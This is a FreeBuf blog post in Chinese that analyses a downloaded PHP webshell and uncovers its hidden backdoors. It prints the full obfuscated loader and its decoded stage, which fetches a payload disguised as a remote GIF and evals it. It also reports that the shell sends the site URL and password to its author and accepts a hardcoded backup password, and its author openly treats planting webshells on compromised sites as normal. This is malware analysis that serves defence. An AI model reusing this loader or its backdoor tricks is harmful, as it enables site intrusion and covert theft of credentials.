PHP WebShell代码后门的一次检查 – 作者:facebook001

*本文原创作者:facebook001,本文属FreeBuf原创奖励计划,未经许可禁止转载

前言

小明是一名Web小白,今天他突然心血来潮,对自己常用的大马代码查看一下,竟然发现还是有一些后门没有清除干净,不由得心里为之一颤抖,这个江湖果然是险恶重生,黑吃黑的事情经常发生。想起自己辛辛苦苦得到的站点都成了别人的嫁衣,遂决定好好的分析马儿的肚子内部结构,特洛伊的骗局决不能让它再次坑害新手。

正文:

回想起来马儿好像是哪个网站上面下载的,小明快速的打开浏览器,搜索引擎输入“Web大马”,出现了缤纷多彩的信息。

1.png好像就是这个网站,进去之后看看介绍,感觉好高大上黑色的背景配合绿色,灰白色的界面,这不正是小白们心里的标配马吗?好的,就是这匹宝马了。

2.png

3.png

不知道这宝马有木有介绍的那么好,竟然能过一切waf,诸多安全软件都免杀。有如此良驹,在渗透的时候必然是过五关斩六将。小明的手颤抖的移动鼠标到底部,看到下载地址,狠狠的点击一下,只听得叮的一声,马儿就掉到了自己的目录里面,

迫不及待的解压之后,看到一个shell.php,大小只有1.83KB,这体重和小马有的一拼了。

3.1.png

<?php

$password='xxxxx';//登录密码

//本次更新:体积优化、压缩优化、命令优化、反弹优化、文件管理优化、挂马清马优化等大量功能细节优化。

//功能特色:PHP高版本低版本都能执行,文件短小精悍,方便上传,功能强大,提权无痕迹,无视waf,过安全狗、云锁、360、阿里云、护卫神等主流waf。同时支持菜刀、xise连接。

$html='$password'.'='."'".$password."';".'@e#html'.''.'v'."".''.''."".''.''.''.'a'.''.'l('.'g'.''."".''.''.'z'.'i'.''.''.'n'.'f'.'l'.''.''."".'a'.'t'.'e(b'.'as'.''.''.''."".''.'e'.'6'.''."".''."".""."".''.'4_'.'d'.'e'.'c'.''.''.''."".''."".'o'.'d'.'e'.'('."'lVZhb5tIEP0eKf9hg6ICEufgXBy1sSI1TTHJKcY5jJsmbYTwspitMUt3SWiT+r/fLLZjjN3UxxfE7sybN29nZtndIZwz7nOSMZ7TdKSZent3RxAhKEt9kQc81+QKjZC2R4Ugubbv961+/7LnfFGyOAsyqtzrOnre3UHw7GN0ilS1Pf96EIQHI5LmcrXLnmiSBAdHDRNpmE2yIKfDhLRRt39poeOG2UY3NA1ZIZDjoVbjUF/i8AQQhoEgx0d+SDALibb6pdwO4n7Xdqzh33fdrvnP460Z2uFhx3M+f6DDT9mhd5G5odn66Ny04k/N8bvz0empouuVCA4p6jGUq6cP10M7iYOmexl8dv7t2XHRtTtjbI9a2O4UgTfg+Ntdcns4Lm69uBXcZPndU/JIbKfo3Tg8nMSTq0JGmgeSQkYPKc6lvuQHFbnQ1EgwPGYZSdWlkiWrhKZjSDwLuCA+UNQkzwVUafH9gfCfYFKaflFB01i9rxrETEj1Rc5zlrCCcG1uKjfU+xWwKAPLFzJa6Wugt6aB9qFOUjZ7A5SBmmbVU2YF3ivkS0T2IIMrtuWhg+cZ2Sm68Lzrg2bD/Mq/pkp7g0cDXC4g9gl6LjlMX7UcQJH9dSar7AT9/xp7FfqcpSkpz+oEnSdMEGm9ySMqOM2J1MAovfU6Ik1jEoSEgxrN+h5maQ7shVSqDlzENCHQexFhUSnxmsaLQiHy7EYE6qlkcWS+O66zeDmqJZtTZG5EXCXWmBUY2YA3/VOIN2+QNucH+YF06NcvVFmQauq/51ARzvxz+NpnhOWhlbqtiS6bZpFgZXOOMF226x4UfMZAVmws5oQus1prYwybPk1prr6yT34QXG9zHAOZF2+tyrVchbHLMpi8ODbQ+cC96l17PrxmdLay9i67Vm/gQd+2trJ3LW/gOp575vQ7lmsgzx1Y29HqW+6ZbTmeUZn+K0MGL3KVSkjnNdz5oS13tjgMEM6H4tfUIIEpJ2elH22aqDmZZLLR3kfQV2vjtIwAFvlPbWap6xvK5j2dZIm8HlTVmCOugVRoKiFJPlJ+loYdiKlshpR0ZAL+oiRXuFUE2JT/HjRSFCSC1MpqNvfl7Z4EeJYt2AMjBZzxyqmsX+rgPHqiaZQEef2yBd8Ks+ns92CLvwPyGCQbLQBs+h8=')));";$css=base64_decode("Q3JlYXRlX0Z1bmN0aW9u");$style=$css('',preg_replace("/#html/","",$html));$style();/*));.'<linkrel="stylesheet"href="$#css"/>';*/

咋一看这不是base64吗,如此小的代码竟然实现了诸多的功能。着实让人佩服作者,打开phpstorm直接base64解密得到了下面这段内容

error_reporting(0);

session_start();

if (!isset($_SESSION["phpapi"])) {

    $c = '';

    $useragent = 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2)';

    $url = base64_decode(base64_decode("YUhSMGNEb3ZMM0JvY0dGd2FTNXBibVp2THpRd05DNW5hV1k9Cg=="));

    $urlNew= base64_decode("LzBPbGlha1RIaXNQOGhwMGFkcGg5cGFwaTUrcjZlY2kwYTh5aWptZzlveGNwOWNrdmhmLw==");

    if (function_exists('fsockopen')) {

        $link = parse_url($url);

        $query = $link['path'];

        $host = strtolower($link['host']);

        $fp = fsockopen($host, 80, $errno, $errstr, 10);

        if ($fp) {

            $out = "GET /{$query} HTTP/1.0\r\n";

            $out .= "Host: {$host}\r\n";

            $out .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2)\r\n";

            $out .= "Connection: Close\r\n\r\n";

            fwrite($fp, $out);

            $inheader = 1;

            $contents = "";

            while (!feof($fp)) {

                $line = fgets($fp, 4096);

                if ($inheader == 0) {

                    $contents .= $line;

                }

                if ($inheader && ($line == "\n" || $line == "\r\n")) {

                    $inheader = 0;

                }

            }

            fclose($fp);

            $c = $contents;

        }

    }

    if (!strpos($c, $urlNew) && function_exists('curl_init') && function_exists('curl_exec')) {

        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);

        curl_setopt($ch, CURLOPT_TIMEOUT, 15);

        curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);

        curl_setopt($ch, CURLOPT_USERAGENT, $useragent);

        $c = curl_exec($ch);

        curl_close($ch);

    }

    if (!strpos($c, $urlNew) && ini_get('allow_url_fopen')) {

        $temps = @file($url);

        if (!empty($temps))

            $c = @implode('', $temps);

        if (!strpos($c, "delDirAndFile"))

            $c = @file_get_contents($url);

    }

    if (strpos($c, $urlNew) !== false) {

        $c = str_replace($urlNew, "", $c);

        $_SESSION["phpapi"] = gzinflate(base64_decode($c));

    }

}

if (isset($_SESSION["phpapi"])) {

    eval($_SESSION["phpapi"]);

}

原来作者是通过远程下载图片的方式得到大马的内容,难怪可以逃过免杀啊,根本就是普通的php代码,这样以来作者就可以明正言顺的得到我们的url了,真的是躺着也能乐呵呵的数马儿,今年又是一个丰收年啊。

$url = base64_decode(base64_decode("YUhSMGNEb3ZMM0JvY0dGd2FTNXBibVp2THpRd05DNW5hV1k9Cg==")); 

$url base64解开后的到http://xxx.xxx/404.gif

在得到图片的内容后用base64解开然后zip解压我们得到了真的马儿,打开浏览器后一看果然和网站上介绍的是一个模样的。输入密码登陆后,看到这样的马儿用起来才叫爽啊,3.8.png3.9.png

为了看看大马儿的内部还有什么手段,祭出Firefox,按下f12,输入密码后查看网络连接,发现视乎没有什么其他的外部活动,js也是非常的安静。新想这马儿应该是安全的。再次查看了httpnetworksniff和TcpLogView,没有外部的连接活动。但还是非常不放心,在phpstorm里面看了下base64加密的字符串,看到一个函数非常可疑

4.png

4.1.png其中htmlogin()函数内部 if (strpos($domain, “0.0”) !== false || strpos($domain, “192.168.”) !== false || strpos($domain, “localhost”) !== false) 以及show_mainp()函数都对局域网ip特征做了判断,判断了是否为局域网,不然就发送你的地址和密码到他的网站,http://xx.xx/api.php?name=filename.php&value=password&id=ip

然而到此结束了吗???通常WebShell会有一个备用的密码,搜寻了一下postpass 在1709行发现了备用密码if ($_POST[‘postpass’] == postpass||$_POST[‘postpass’]==’http200ok’) 

5.png

总结:

还是那句话江湖险恶,不要轻易的用别人写好加密的东西,很多软件最好翻墙或者先去github上找找。webshell这种东西要自己动手查看内容确定安全后才能放心使用。

*本文原创作者:facebook001,本文属FreeBuf原创奖励计划,未经许可禁止转载

来源:freebuf.com 2018-09-06 14:00:22 by: facebook001

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论